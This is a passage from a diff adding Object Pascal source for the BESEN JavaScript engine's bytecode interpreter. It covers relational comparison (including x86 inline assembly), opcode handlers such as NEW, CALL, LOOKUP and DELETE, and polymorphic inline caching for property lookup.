Context.VariableEnvironment.EnvironmentRecord.SetIndexValue(ARef.LocalIndex,-1,AValue,TBESEN(Instance).IsStrict); + end; + else begin + BESENThrowReference; + end; + end; +end; + +function TBESENCodeContext.AbstractRelational(eva,evb:PBESENValue;var BoolRes:TBESENBoolean):TBESENBoolean; +{$ifndef UseSafeOperations} +{$ifdef cpu386} +var a,b:TBESENNumber; + br:TBESENBoolean; +{$else} +var Item:PBESENNumberCodeAbstractRelationalLookupTableItem; +{$endif} +{$endif} +begin + result:=true; + if eva^.ValueType=bvtOBJECT then begin + TBESEN(Instance).ToPrimitiveValue(eva^,TBESEN(Instance).ObjectNumberConstructorValue,vaa); + eva:=@vaa; + end; + if evb^.ValueType=bvtOBJECT then begin + TBESEN(Instance).ToPrimitiveValue(evb^,TBESEN(Instance).ObjectNumberConstructorValue,vbb); + evb:=@vbb; + end; + if (eva^.ValueType=bvtSTRING) and (evb^.ValueType=bvtSTRING) then begin + BoolRes:=eva^.Str<evb^.Str; + end else begin + if eva^.ValueType<>bvtNUMBER then begin + TBESEN(Instance).ToNumberValue(eva^,va); + eva:=@va; + end; + if evb^.ValueType<>bvtNUMBER then begin + TBESEN(Instance).ToNumberValue(evb^,vb); + evb:=@vb; + end; +{$ifdef UseSafeOperations} + if BESENIsNaN(eva^.Num) or BESENIsNaN(evb^.Num) then begin + result:=false; + BoolRes:=false; + end else if BESENIsSameValue(eva^.Num,evb^.Num) then begin + BoolRes:=false; + end else if (BESENIsZero(eva^.Num) and BESENIsZero(evb^.Num)) and (BESENIsNegative(eva^.Num)<>BESENIsNegative(evb^.Num)) then begin + BoolRes:=false; + end else if BESENIsPosInfinite(eva^.Num) then begin + BoolRes:=false; + end else if BESENIsPosInfinite(evb^.Num) then begin + BoolRes:=true; + end else if BESENIsNegInfinite(evb^.Num) then begin + BoolRes:=false; + end else if BESENIsNegInfinite(eva^.Num) then begin + BoolRes:=true; + end else begin + BoolRes:=eva^.Num<evb^.Num; + end; +{$else} +{$ifdef cpu386} + a:=eva^.Num; + b:=evb^.Num; + asm + fld qword ptr [a] + fcomp qword ptr [b] + fstsw ax + sahf + setb al + setnp cl + and al,cl + neg al + sbb eax,eax + mov dword ptr br,eax + neg cl + sbb ecx,ecx + mov dword ptr result,ecx + end {$ifdef fpc}['eax','ecx']{$endif}; + BoolRes:=br; +{$else} + Item:=@BESENNumberCodeAbstractRelationalLookupTable[((BESENNumberCodeFlags(eva^.Num) shl 4) or BESENNumberCodeFlags(evb^.Num)) and $ff]; + result:=Item^.IsNotUndefined; + BoolRes:=result and (Item^.ResultBooleanValue or (Item^.DoCompare and (eva^.Num<evb^.Num))); +{$endif} +{$endif} + end; +end; + +function TBESENCodeContext.AbstractRelationalNumber(eva,evb:PBESENValue;var BoolRes:TBESENBoolean):TBESENBoolean; +{$ifndef UseSafeOperations} +{$ifdef cpu386} +var a,b:TBESENNumber; + br:TBESENBoolean; +{$else} +var Item:PBESENNumberCodeAbstractRelationalLookupTableItem; +{$endif} +{$endif} +begin +{$ifdef UseSafeOperations} + result:=true; + if BESENIsNaN(eva^.Num) or BESENIsNaN(evb^.Num) then begin + result:=false; + BoolRes:=false; + end else if BESENIsSameValue(eva^.Num,evb^.Num) then begin + BoolRes:=false; + end else if (BESENIsZero(eva^.Num) and BESENIsZero(evb^.Num)) and (BESENIsNegative(eva^.Num)<>BESENIsNegative(evb^.Num)) then begin + BoolRes:=false; + end else if BESENIsPosInfinite(eva^.Num) then begin + BoolRes:=false; + end else if BESENIsPosInfinite(evb^.Num) then begin + BoolRes:=true; + end else if BESENIsNegInfinite(evb^.Num) then begin + BoolRes:=false; + end else if BESENIsNegInfinite(eva^.Num) then begin + BoolRes:=true; + end else begin + BoolRes:=eva^.Num<evb^.Num; + end; +{$else} +{$ifdef cpu386} + a:=eva^.Num; + b:=evb^.Num; + asm + fld qword ptr [a] + fcomp qword ptr [b] + fstsw ax + sahf + setb al + setnp cl + and al,cl + neg al + sbb eax,eax + mov dword ptr br,eax + neg cl + sbb ecx,ecx + mov dword ptr result,ecx + end {$ifdef fpc}['eax','ecx']{$endif}; + BoolRes:=br; +{$else} + Item:=@BESENNumberCodeAbstractRelationalLookupTable[((BESENNumberCodeFlags(eva^.Num) shl 4) or BESENNumberCodeFlags(evb^.Num)) and $ff]; + result:=Item^.IsNotUndefined; + BoolRes:=result and (Item^.ResultBooleanValue or (Item^.DoCompare and (eva^.Num<evb^.Num))); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.Throw(const ThrowValue:TBESENValue); +begin + raise EBESENThrowException.Create('Throw',ThrowValue); +end; + +procedure TBESENCodeContext.OpSTOP(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + Running:=false; + BlockRunning:=false; +end; + +procedure TBESENCodeContext.OpNEW(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var Counter,CountArguments:integer; + ConstructorValue:PBESENValue; + OldIsStrict:boolean; +begin + OldIsStrict:=TBESEN(Instance).IsStrict; + try + ConstructorValue:=@RegisterValues[Operands^[1]]; + CountArguments:=Operands^[2]; + for Counter:=0 to CountArguments-1 do begin + ParamArgs[Counter]:=@RegisterValues[Operands^[Counter+3]]; + end; + if ConstructorValue^.ValueType<>bvtOBJECT then begin + BESENThrowTypeErrorNotAConstructorObject; + end else if not TBESENObject(ConstructorValue^.Obj).HasConstruct then begin + BESENThrowTypeErrorObjectHasNoConstruct; + end; + TBESEN(Instance).GarbageCollector.TriggerCollect; + TBESEN(Instance).ObjectConstruct(TBESENObject(ConstructorValue^.Obj),BESENUndefinedValue,@ParamArgs[0],CountArguments,RegisterValues[Operands^[0]]); + finally + TBESEN(Instance).IsStrict:=OldIsStrict; + end; +end; + +procedure TBESENCodeContext.OpCALL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var Counter,CountArguments:integer; + Ref,Func:PBESENValue; + OldIsStrict,DirectCall:boolean; +begin + OldIsStrict:=TBESEN(Instance).IsStrict; + try + Ref:=@RegisterValues[Operands^[1]]; + Func:=@RegisterValues[Operands^[2]]; + CountArguments:=Operands^[3]; + for Counter:=0 to CountArguments-1 do begin + ParamArgs[Counter]:=@RegisterValues[Operands^[Counter+4]]; + end; + if Func^.ValueType<>bvtOBJECT then begin + BESENThrowTypeErrorNotAFunction; + end else if not (assigned(Func^.Obj) and TBESENObject(Func^.Obj).HasCall) then begin + BESENThrowTypeErrorNotCallable; + end; + if Ref^.ValueType=bvtREFERENCE then begin + BESENRefBaseValueToCallThisArgValueProcs[Ref^.ReferenceBase.ValueType](CallThisArg,Ref^.ReferenceBase); + end else begin + CallThisArg.ValueType:=bvtUNDEFINED; + end; + if Func^.Obj=TBESEN(Instance).ObjectGlobalEval then begin + DirectCall:=((Ref^.ValueType=bvtREFERENCE) and (Ref^.ReferenceBase.ValueType=brbvtENVREC)) and TBESENEnvironmentRecord(Ref^.ReferenceBase.EnvRec).HasBindingEx('eval',Descriptor); + TBESEN(Instance).GlobalEval(Context,CallThisArg,@ParamArgs[0],CountArguments,DirectCall,RegisterValues[Operands^[0]]); + end else begin + TBESEN(Instance).ObjectCall(TBESENObject(Func^.Obj),CallThisArg,@ParamArgs[0],CountArguments,RegisterValues[Operands^[0]]); + end; + finally + TBESEN(Instance).IsStrict:=OldIsStrict; + end; +end; + +procedure TBESENCodeContext.OpEND(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + NewBlockLevel:=Operands^[0]; + while Running and (BlockLevel>=NewBlockLevel) do begin + if BlockLevel=0 then begin + Running:=false; + BlockRunning:=false; + break; + end else begin + dec(BlockLevel); + Block:=@Blocks[BlockLevel]; + case Block^.BlockType of + bccbtENUM:begin + PropertyEnumerator:=Block^.OldPropertyEnumerator; + EnumBlock:=Block^.OldEnumBlock; + BESENFreeAndNil(Block^.PropertyEnumerator); + end; + bccbtWITH:begin + Context.LexicalEnvironment:=Block^.LexicalEnvironment.Outer; + end; + bccbtCATCH:begin + Block^.Done:=true; + end; + bccbtCATCH2:begin + Context.LexicalEnvironment:=Block^.LexicalEnvironment.Outer; + Block^.Ident:=''; + end; + bccbtFINALLY:begin + Block^.BlockType:=bccbtFINALLY2; + Block^.Done:=true; + Block^.Resume:=PC-2; + Block^.Raised:=false; + PC:=Block^.Handler; + inc(BlockLevel); + break; + end; + bccbtFINALLY2:begin + end; + end; + end; + end; +end; + +procedure TBESENCodeContext.OpVREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; + EnvRec:TBESENEnvironmentRecord; + CurrentObject:TBESENObject; + PolymorphicInlineCacheInstruction:PBESENCodePolymorphicInlineCacheInstruction; + StructureID:integer; + CacheItem:PBESENCodePolymorphicInlineCacheItem; + CacheItemIndex:integer; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtREFERENCE; + vp^.ReferenceBase.ValueType:=brbvtENVREC; + vp^.ReferenceBase.EnvRec:=Context.VariableEnvironment.EnvironmentRecord; + vp^.ReferenceIsStrict:=TBESEN(Instance).IsStrict; + vp^.ReferenceHash:=TBESENHash(Operands^[2]); + + if TBESEN(Instance).InlineCacheEnabled then begin + EnvRec:=Context.VariableEnvironment.EnvironmentRecord; + if assigned(EnvRec) and (EnvRec is TBESENObjectEnvironmentRecord) then begin + CurrentObject:=TBESENObjectEnvironmentRecord(EnvRec).BindingObject; + if assigned(CurrentObject) then begin + PolymorphicInlineCacheInstruction:=Code.PolymorphicInlineCacheInstructions[Operands^[3]]; + + // Polymorphic lookup + if CurrentObject.StructureID<>0 then begin + for CacheItemIndex:=0 to BESENPolymorphicInlineCacheSize-1 do begin + CacheItem:=@PolymorphicInlineCacheInstruction^.CacheItems[(PolymorphicInlineCacheInstruction^.CacheItemPositions shr (CacheItemIndex shl 2)) and 7]; + if CurrentObject.StructureID=CacheItem^.StructureID then begin + if CacheItemIndex<>0 then begin + PolymorphicInlineCacheInstruction^.CacheItemPositions:=BESENAdjustPolymorphicInlineCachePosition(PolymorphicInlineCacheInstruction^.CacheItemPositions,CacheItemIndex); + Operands^[4]:=CacheItem^.StructureID; + Operands^[5]:=BESENInt32BooleanValues[vp^.ReferenceIsStrict]; + Operands^[6]:=CacheItem^.Index; + Operands^[7]:=CacheItem^.ID; + end; + vp^.ReferenceIndex:=CacheItem^.Index; + vp^.ReferenceID:=CacheItem^.ID; + exit; + end; + end; + end; + + // Megamorphic lookup + CacheItem:=@PolymorphicInlineCacheInstruction^.CacheItems[(PolymorphicInlineCacheInstruction^.CacheItemPositions shr 28) and 7]; + if CurrentObject.StructureID=0 then begin + if not CurrentObject.RebuildStructure then begin + CurrentObject:=nil; + end; + end; + if assigned(CurrentObject) then begin + StructureID:=CurrentObject.StructureID; + while assigned(CurrentObject) and (CurrentObject.StructureID<>0) do begin + if CurrentObject.GetOwnProperty(Code.Variables[Operands^[1]].Name,Descriptor,vp^.ReferenceHash) then begin + if assigned(CurrentObject.LastProp) and ((CurrentObject.LastProp.Index>=0) and (CurrentObject.LastProp.ID>=0)) and (([boppVALUE,boppGETTER,boppSETTER,boppWRITABLE]*CurrentObject.LastProp.Descriptor.Presents)<>[]) then begin + PolymorphicInlineCacheInstruction^.CacheItemPositions:=BESENAdjustPolymorphicInlineCachePosition(PolymorphicInlineCacheInstruction^.CacheItemPositions,7); + vp^.ReferenceIndex:=CurrentObject.LastProp.Index; + vp^.ReferenceID:=CurrentObject.LastProp.ID; + CacheItem^.StructureID:=StructureID; + CacheItem^.Index:=vp^.ReferenceIndex; + CacheItem^.ID:=vp^.ReferenceID; + Operands^[4]:=CacheItem^.StructureID; + Operands^[5]:=BESENInt32BooleanValues[vp^.ReferenceIsStrict]; + Operands^[6]:=CacheItem^.Index; + Operands^[7]:=CacheItem^.ID; + exit; + end; + break; + end; + CurrentObject:=CurrentObject.Prototype; + end; + end; + + end; + end; + end; + + // Normal lookup + Operands^[4]:=-1; + vp^.ReferenceIndex:=-1; + vp^.ReferenceID:=-1; + vp^.Str:=Code.Variables[Operands^[1]].Name; +end; + +procedure TBESENCodeContext.OpLREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtLOCAL; + vp^.LocalIndex:=Operands^[1]; +end; + +procedure TBESENCodeContext.OpNOP(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin +end; + +procedure TBESENCodeContext.OpCOPY(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + BESENCopyValue(RegisterValues[Operands^[0]],RegisterValues[Operands^[1]]); +end; + +procedure TBESENCodeContext.OpNEQ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r,a,b:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=not TBESEN(Instance).EqualityExpressionEquals(a^,b^); +end; + +procedure TBESENCodeContext.OpNSEQ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r,a,b:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=not BESENEqualityExpressionStrictEquals(a^,b^); +end; + +procedure TBESENCodeContext.OpAREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; + DoubleIndex:PBESENNumber; +begin + r:=@RegisterValues[Operands^[0]]; + BESENValueToReferenceBaseValue(RegisterValues[Operands^[1]],r^.ReferenceBase); + r^.ValueType:=bvtREFERENCE; + r^.ReferenceIsStrict:=TBESEN(Instance).IsStrict; + r^.ReferenceHash:=TBESENHash(Operands^[3]); + r^.ReferenceID:=-1; + DoubleIndex:=@RegisterValues[Operands^[2]].Num; + if (DoubleIndex^>=0) and (DoubleIndex^<2147483648.0) then begin // not 4294967296.0 due to ReferenceIndex<0 check ! + r^.ReferenceIndex:=TBESENINT32(TBESENUINT32(trunc(DoubleIndex^))); + end else begin + r^.ReferenceIndex:=-1; + r^.Str:=TBESEN(Instance).ToStr(RegisterValues[Operands^[2]]); + end; +end; + +procedure TBESENCodeContext.OpTHROW(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + if Trace(bttTHROW) then begin + Throw(RegisterValues[Operands^[0]]); + end; +end; + +procedure TBESENCodeContext.OpSETC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + BESENCopyValue(ResultValue,RegisterValues[Operands^[0]]); +end; + +procedure TBESENCodeContext.OpGETC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + BESENCopyValue(RegisterValues[Operands^[0]],ResultValue); +end; + +procedure TBESENCodeContext.OpTHIS(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + BESENCopyValue(RegisterValues[Operands^[0]],Context.ThisBinding); +end; + +procedure TBESENCodeContext.OpOBJECT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtOBJECT; + vp^.Obj:=TBESEN(Instance).ObjectConstructor; +end; + +procedure TBESENCodeContext.OpARRAY(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtOBJECT; + vp^.Obj:=TBESEN(Instance).ObjectArrayConstructor; +end; + +procedure TBESENCodeContext.OpREGEXP(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtOBJECT; + vp^.Obj:=TBESEN(Instance).ObjectRegExpConstructor; +end; + +procedure TBESENCodeContext.OpREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; + CurrentObject:TBESENObject; + PolymorphicInlineCacheInstruction:PBESENCodePolymorphicInlineCacheInstruction; + CacheItemIndex:integer; + CacheItem:PBESENCodePolymorphicInlineCacheItem; + StructureID:integer; + StrReg:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + BESENValueToReferenceBaseValue(RegisterValues[Operands^[1]],r^.ReferenceBase); + r^.ValueType:=bvtREFERENCE; + r^.ReferenceIsStrict:=TBESEN(Instance).IsStrict; + r^.ReferenceHash:=TBESENHash(Operands^[4]); + + if TBESEN(Instance).InlineCacheEnabled and (TBESENUINT32(Operands^[3])<>$fefefefe) and (r^.ReferenceBase.ValueType=brbvtOBJECT) then begin + CurrentObject:=TBESENObject(r^.ReferenceBase.Obj); + if assigned(CurrentObject) then begin + PolymorphicInlineCacheInstruction:=Code.PolymorphicInlineCacheInstructions[Operands^[5]]; + + // Polymorphic lookup + if CurrentObject.StructureID<>0 then begin + for CacheItemIndex:=0 to BESENPolymorphicInlineCacheSize-1 do begin + CacheItem:=@PolymorphicInlineCacheInstruction^.CacheItems[(PolymorphicInlineCacheInstruction^.CacheItemPositions shr (CacheItemIndex shl 2)) and 7]; + if CurrentObject.StructureID=CacheItem^.StructureID then begin + if CacheItemIndex<>0 then begin + PolymorphicInlineCacheInstruction^.CacheItemPositions:=BESENAdjustPolymorphicInlineCachePosition(PolymorphicInlineCacheInstruction^.CacheItemPositions,CacheItemIndex); + Operands^[6]:=CacheItem^.StructureID; + Operands^[7]:=BESENInt32BooleanValues[r^.ReferenceIsStrict]; + Operands^[8]:=CacheItem^.Index; + Operands^[9]:=CacheItem^.ID; + end; + r^.ReferenceIndex:=CacheItem^.Index; + r^.ReferenceID:=CacheItem^.ID; + exit; + end; + end; + end; + + // Megamorphic lookup + CacheItem:=@PolymorphicInlineCacheInstruction^.CacheItems[(PolymorphicInlineCacheInstruction^.CacheItemPositions shr 28) and 7]; + if CurrentObject.StructureID=0 then begin + if not CurrentObject.RebuildStructure then begin + CurrentObject:=nil; + end; + end; + if assigned(CurrentObject) then begin + StrReg:=@RegisterValues[Operands^[2]]; + StructureID:=CurrentObject.StructureID; + while assigned(CurrentObject) and (CurrentObject.StructureID<>0) do begin + CurrentObject.LastProp:=nil; + if CurrentObject.GetOwnProperty(StrReg^.Str,Descriptor,r^.ReferenceHash) then begin + if assigned(CurrentObject.LastProp) and ((CurrentObject.LastProp.Index>=0) and (CurrentObject.LastProp.ID>=0)) and (([boppVALUE,boppGETTER,boppSETTER,boppWRITABLE]*CurrentObject.LastProp.Descriptor.Presents)<>[]) then begin + PolymorphicInlineCacheInstruction^.CacheItemPositions:=BESENAdjustPolymorphicInlineCachePosition(PolymorphicInlineCacheInstruction^.CacheItemPositions,7); + r^.ReferenceIndex:=CurrentObject.LastProp.Index; + r^.ReferenceID:=CurrentObject.LastProp.ID; + CacheItem^.StructureID:=StructureID; + CacheItem^.Index:=r^.ReferenceIndex; + CacheItem^.ID:=r^.ReferenceID; + Operands^[6]:=CacheItem^.StructureID; + Operands^[7]:=BESENInt32BooleanValues[r^.ReferenceIsStrict]; + Operands^[8]:=r^.ReferenceIndex; + Operands^[9]:=r^.ReferenceID; + exit; + end; + break; + end; + CurrentObject:=CurrentObject.Prototype; + end; + end; + + end; + end; + + // Normal lookup + Operands^[6]:=-1; + r^.ReferenceIndex:=-1; + r^.ReferenceID:=-1; + r^.Str:=RegisterValues[Operands^[2]].Str; +end; + +procedure TBESENCodeContext.OpGETVALUE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + case RegisterValues[Operands^[1]].ValueType of + bvtREFERENCE:begin + GetRefProcs[RegisterValues[Operands^[1]].ReferenceBase.ValueType](RegisterValues[Operands^[1]],RegisterValues[Operands^[0]]); + end; + bvtLOCAL:begin + Context.VariableEnvironment.EnvironmentRecord.GetIndexValue(RegisterValues[Operands^[1]].LocalIndex,-1,TBESEN(Instance).IsStrict,RegisterValues[Operands^[0]]); + end; + else begin + BESENCopyValue(RegisterValues[Operands^[0]],RegisterValues[Operands^[1]]); + end; + end; +end; + +procedure TBESENCodeContext.OpLOOKUP(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; + PolymorphicInlineCacheInstruction:PBESENCodePolymorphicInlineCacheInstruction; + Lex:TBESENLexicalEnvironment; + EnvRec:TBESENEnvironmentRecord; + CurrentObject:TBESENObject; + Item:PBESENDeclarativeEnvironmentRecordHashItem; + CacheItem:PBESENCodePolymorphicInlineCacheItem; + CacheItemIndex,NestedLevel,StructureID:integer; + FirstObjectEnvRec,DoIt:boolean; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtREFERENCE; + vp^.ReferenceBase.ValueType:=brbvtUNDEFINED; + vp^.ReferenceIsStrict:=TBESEN(Instance).IsStrict; + vp^.ReferenceHash:=TBESENHash(Operands^[2]); + + if TBESEN(Instance).InlineCacheEnabled then begin + PolymorphicInlineCacheInstruction:=Code.PolymorphicInlineCacheInstructions[Operands^[3]]; + + // Polymorphic lookup + for CacheItemIndex:=0 to BESENPolymorphicInlineCacheSize-1 do begin + CacheItem:=@PolymorphicInlineCacheInstruction^.CacheItems[(PolymorphicInlineCacheInstruction^.CacheItemPositions shr (CacheItemIndex shl 2)) and 7]; + if CacheItem^.StructureID<>-1 then begin + NestedLevel:=CacheItem^.NestedLevel; + Lex:=Context.LexicalEnvironment; + while assigned(Lex) and (NestedLevel>0) do begin + dec(NestedLevel); + Lex:=Lex.Outer; + end; + if (NestedLevel=0) and assigned(Lex) then begin + EnvRec:=Lex.EnvironmentRecord; + if CacheItem^.StructureID>0 then begin + if EnvRec is TBESENObjectEnvironmentRecord then begin + CurrentObject:=TBESENObjectEnvironmentRecord(EnvRec).BindingObject; + if assigned(CurrentObject) and ((CurrentObject.StructureID<>0) and (CurrentObject.StructureID=CacheItem^.StructureID)) then begin + if CacheItemIndex<>0 then begin + PolymorphicInlineCacheInstruction^.CacheItemPositions:=BESENAdjustPolymorphicInlineCachePosition(PolymorphicInlineCacheInstruction^.CacheItemPositions,CacheItemIndex); + end; + vp^.ReferenceBase.ValueType:=brbvtENVREC; + vp^.ReferenceBase.EnvRec:=EnvRec; + vp^.ReferenceIndex:=CacheItem^.Index; + vp^.ReferenceID:=CacheItem^.ID; + exit; + end; + end; + end else begin + if EnvRec is TBESENDeclarativeEnvironmentRecord then begin + if (CacheItem^.Index<TBESENDeclarativeEnvironmentRecord(EnvRec).HashIndexIDs.Count) and (TBESENDeclarativeEnvironmentRecord(EnvRec).HashIndexIDs[CacheItem^.Index]=CacheItem^.ID) then begin + if CacheItemIndex<>0 then begin + PolymorphicInlineCacheInstruction^.CacheItemPositions:=BESENAdjustPolymorphicInlineCachePosition(PolymorphicInlineCacheInstruction^.CacheItemPositions,CacheItemIndex); + end; + vp^.ReferenceBase.ValueType:=brbvtENVREC; + vp^.ReferenceBase.EnvRec:=EnvRec; + vp^.ReferenceIndex:=CacheItem^.Index; + vp^.ReferenceID:=CacheItem^.ID; + exit; + end; + end; + end; + end; + end; + end; + + // Megamorphic lookup + vp^.ReferenceIndex:=-1; + vp^.ReferenceID:=-1; + vp^.Str:=LookupNames^[Operands^[1]]; + CacheItem:=@PolymorphicInlineCacheInstruction^.CacheItems[(PolymorphicInlineCacheInstruction^.CacheItemPositions shr 28) and 7]; + FirstObjectEnvRec:=true; + DoIt:=true; + NestedLevel:=0; + Lex:=Context.LexicalEnvironment; + while assigned(Lex) do begin + EnvRec:=Lex.EnvironmentRecord; + if DoIt and (EnvRec.HasMaybeDirectEval and not EnvRec.IsStrict) then begin + // If the direct eval is in an es5-strict-mode code body (top level or function), it can't create vars in + // that code lexical body's scope. But in an es5-non-strict code body (top level or function) we must disable + // here the caching, because a direct eval can create here vars in that code body's lexical scope. + DoIt:=false; + end; + if EnvRec is TBESENObjectEnvironmentRecord then begin + CurrentObject:=TBESENObjectEnvironmentRecord(EnvRec).BindingObject; + if assigned(CurrentObject) then begin + if CurrentObject.StructureID=0 then begin + if not CurrentObject.RebuildStructure then begin + CurrentObject:=nil; + end; + end; + if assigned(CurrentObject) then begin + StructureID:=CurrentObject.StructureID; + while assigned(CurrentObject) and (CurrentObject.StructureID<>0) do begin + if CurrentObject.GetOwnProperty(vp^.Str,Descriptor,vp^.ReferenceHash) then begin + vp^.ReferenceBase.ValueType:=brbvtENVREC; + vp^.ReferenceBase.EnvRec:=EnvRec; + if DoIt and FirstObjectEnvRec then begin + FirstObjectEnvRec:=false; + if assigned(CurrentObject.LastProp) and ((CurrentObject.LastProp.Index>=0) and (CurrentObject.LastProp.ID>=0)) and (([boppVALUE,boppGETTER,boppSETTER,boppWRITABLE]*CurrentObject.LastProp.Descriptor.Presents)<>[]) then begin + PolymorphicInlineCacheInstruction^.CacheItemPositions:=BESENAdjustPolymorphicInlineCachePosition(PolymorphicInlineCacheInstruction^.CacheItemPositions,7); + vp^.ReferenceIndex:=CurrentObject.LastProp.Index; + vp^.ReferenceID:=CurrentObject.LastProp.ID; + CacheItem^.StructureID:=StructureID; + CacheItem^.Index:=vp^.ReferenceIndex; + CacheItem^.ID:=vp^.ReferenceID; + CacheItem^.NestedLevel:=NestedLevel; + end; + end; + exit; + end; + CurrentObject:=CurrentObject.Prototype; + end; + end; + end; + end else begin + Item:=TBESENDeclarativeEnvironmentRecord(EnvRec).GetKey(vp^.Str); + if assigned(Item) then begin + vp^.ReferenceBase.ValueType:=brbvtENVREC; + vp^.ReferenceBase.EnvRec:=EnvRec; + if DoIt and (Item^.Index>=0) then begin + PolymorphicInlineCacheInstruction^.CacheItemPositions:=BESENAdjustPolymorphicInlineCachePosition(PolymorphicInlineCacheInstruction^.CacheItemPositions,7); + vp^.ReferenceIndex:=Item^.Index; + vp^.ReferenceID:=TBESENDeclarativeEnvironmentRecord(EnvRec).HashIndexIDs[vp^.ReferenceIndex]; + CacheItem^.StructureID:=-2; + CacheItem^.Index:=vp^.ReferenceIndex; + CacheItem^.ID:=vp^.ReferenceID; + CacheItem^.NestedLevel:=NestedLevel; + end; + exit; + end; + end; + inc(NestedLevel); + Lex:=Lex.Outer; + end; + end else begin + // Normal lookup + vp^.ReferenceIndex:=-1; + vp^.ReferenceID:=-1; + vp^.Str:=LookupNames^[Operands^[1]]; + Lex:=Context.LexicalEnvironment; + while assigned(Lex) do begin + EnvRec:=Lex.EnvironmentRecord; + if assigned(EnvRec) then begin + if EnvRec is TBESENObjectEnvironmentRecord then begin + CurrentObject:=TBESENObjectEnvironmentRecord(EnvRec).BindingObject; + while assigned(CurrentObject) do begin + if CurrentObject.GetOwnProperty(vp^.Str,Descriptor,vp^.ReferenceHash) then begin + vp^.ReferenceBase.ValueType:=brbvtENVREC; + vp^.ReferenceBase.EnvRec:=EnvRec; + exit; + end; + CurrentObject:=CurrentObject.Prototype; + end; + end else if EnvRec is TBESENDeclarativeEnvironmentRecord then begin + Item:=TBESENDeclarativeEnvironmentRecord(EnvRec).GetKey(vp^.Str); + if assigned(Item) then begin + vp^.ReferenceBase.ValueType:=brbvtENVREC; + vp^.ReferenceBase.EnvRec:=EnvRec; + exit; + end; + end; + end; + Lex:=Lex.Outer; + end; + end; +end; + +procedure TBESENCodeContext.OpPUTVALUE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + PutValue(RegisterValues[Operands^[0]],RegisterValues[Operands^[1]]); +end; + +procedure TBESENCodeContext.OpDELETE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var up,vp:PBESENValue; + bv:TBESENBoolean; +begin + up:=@RegisterValues[Operands^[1]]; + vp:=@RegisterValues[Operands^[0]]; + case up^.ValueType of + bvtREFERENCE:begin + case up^.ReferenceBase.ValueType of + brbvtBOOLEAN,brbvtNUMBER,brbvtSTRING:begin + BESENReferenceBaseValueToValue(up^.ReferenceBase,Temp); + if up^.ReferenceID<0 then begin + if up^.ReferenceIndex<0 then begin + bv:=TBESEN(Instance).ToObj(Temp).DeleteEx(up^.Str,up^.ReferenceIsStrict,Descriptor,up^.ReferenceHash); + end else begin + bv:=TBESEN(Instance).ToObj(Temp).DeleteArrayIndex(up^.ReferenceIndex,up^.ReferenceIsStrict); + end; + end else begin + bv:=TBESEN(Instance).ToObj(Temp).DeleteIndex(up^.ReferenceIndex,up^.ReferenceID,up^.ReferenceIsStrict); + end; + vp^.ValueType:=bvtBOOLEAN; + vp^.Bool:=bv; + end; + brbvtOBJECT:begin + if up^.ReferenceID<0 then begin + if up^.ReferenceIndex<0 then begin + bv:=TBESENObject(up^.ReferenceBase.Obj).DeleteEx(up^.Str,up^.ReferenceIsStrict,Descriptor,up^.ReferenceHash); + end else begin + bv:=TBESENObject(up^.ReferenceBase.Obj).DeleteArrayIndex(up^.ReferenceIndex,up^.ReferenceIsStrict); + end; + end else begin + bv:=TBESENObject(up^.ReferenceBase.Obj).DeleteIndex(up^.ReferenceIndex,up^.ReferenceID,up^.ReferenceIsStrict); + end; + vp^.ValueType:=bvtBOOLEAN; + vp^.Bool:=bv; + end; + brbvtENVREC:begin + if up^.ReferenceIsStrict then begin + BESENThrowSyntaxError('"delete" not allowed here'); + end; + if up^.ReferenceID<0 then begin + if up^.ReferenceIndex<0 then begin + bv:=TBESENEnvironmentRecord(up^.ReferenceBase.EnvRec).DeleteBindingEx(up^.Str,Descriptor,up^.ReferenceHash); + end else begin + bv:=TBESENEnvironmentRecord(up^.ReferenceBase.EnvRec).DeleteArrayIndex(TBESENUINT32(up^.ReferenceIndex)); + end; + end else begin + 